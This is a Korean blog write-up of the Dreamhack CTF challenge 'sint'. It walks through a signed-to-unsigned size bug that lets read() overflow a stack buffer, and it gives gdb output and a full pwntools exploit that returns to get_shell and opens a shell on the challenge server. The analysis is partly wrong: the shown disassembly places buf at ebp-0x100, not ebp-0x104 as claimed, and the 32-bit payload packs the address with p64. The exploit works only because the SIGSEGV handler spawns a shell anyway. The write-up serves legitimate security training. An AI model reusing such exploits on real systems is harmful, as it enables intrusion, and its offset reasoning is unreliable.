system hacking

드림핵 sint 문제 풀이

24kg0ld 2024. 7. 24. 22:48

문제 풀이 환경 : 구름ide

1. 문제 파일 다운, 환경 분석

$ chmod +x sint로 실행 권한을 부여했다.
environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

문제에 환경이 주어져 있다.
32비트 시스템에 NX와 partial RERLO가 적용되어 있다.

2. 코드 분석, 취약점 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() // 쉘 실행
{
    system("/bin/sh");
}

int main()
{
    char buf[256]; //256바이트 크기의 buf 선언
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0) //size가 256보다 크거나 0보다 작으면 프로그램 종료
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: "); 
    read(0, buf, size - 1); //size - 1만큼 입력 받아서 buf에 저장

    return 0;
}

위의 코드에서 size를 0으로 설정하면 read의 인자로 -1이 들어가게 된다.

ssize_t read(int fd, void *buf, size_t count);

read 함수의 세 번째 인자는 위에서 볼 수 있듯 size_t(부호 없는 정수형)로 정의되어 있으므로 -1이 입력되면 매우 큰 수로 해석된다.
(이해가 되지 않는다면 음수를 표현하는 방식인 2의 보수에 대하여 먼저 공부해야 된다.)
그렇다면 read에 buf 크기 이상의 입력을 전달하여 buffer overflow를 일으킬 수 있을 것이다.
canary가 적용되어 있지 않기 때문에 return adress를 쉽게 덮을 수 있다.
PIE가 적용되어 있지 않기 때문에 get_shell 함수의 주소를 쉽게 찾을 수 있다.

정리해보면, size에 0을 입력하여 buf overflow를 발생시켜 return adress에 get_shell 함수의 주소를 넣어주면 쉘을 실행할 수 있다.

3. 스택 프레임 분석

   0x080486df <+115>:   add    esp,0x4
   0x080486e2 <+118>:   mov    eax,DWORD PTR [ebp-0x104]
   0x080486e8 <+124>:   sub    eax,0x1
   0x080486eb <+127>:   push   eax
   0x080486ec <+128>:   lea    eax,[ebp-0x100]
   0x080486f2 <+134>:   push   eax
   0x080486f3 <+135>:   push   0x0
   0x080486f5 <+137>:   call   0x8048450 <read@plt>

pwndbg> disass main으로 main을 disassemble 해서 buf가 인자로 전달되는 read 함수의 위를 확인해보면,
ebp-0x104가 buf의 주소임을 알 수 있다.

buf (ebp-0x104 ~ ) | sfp(4바이트) | return adress
스택 프레임은 위와 같은 형태일 것이다.

4. get_shell 주소

pwndbg> info func get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x08048659  get_shell

get_shell의 주소는 0x08048659이다.

5. 코드 작성

from pwn import *

context.arch = 'i386'

p = remote('host3.dreamhack.games', 24155)

p.sendlineafter(': ',str(0).encode())  # size에 0 입력

get_shell = 0x08048659
payload = b'A'*0x108  # buf(ebp-0x104) + sfp(0x4)만큼 A로 채우고,
payload += p64(get_shell)  # return adress에 get_shell 주소 전달

p.sendafter(': ', payload)

p.interactive()

위의 코드로 쉘을 획득했다.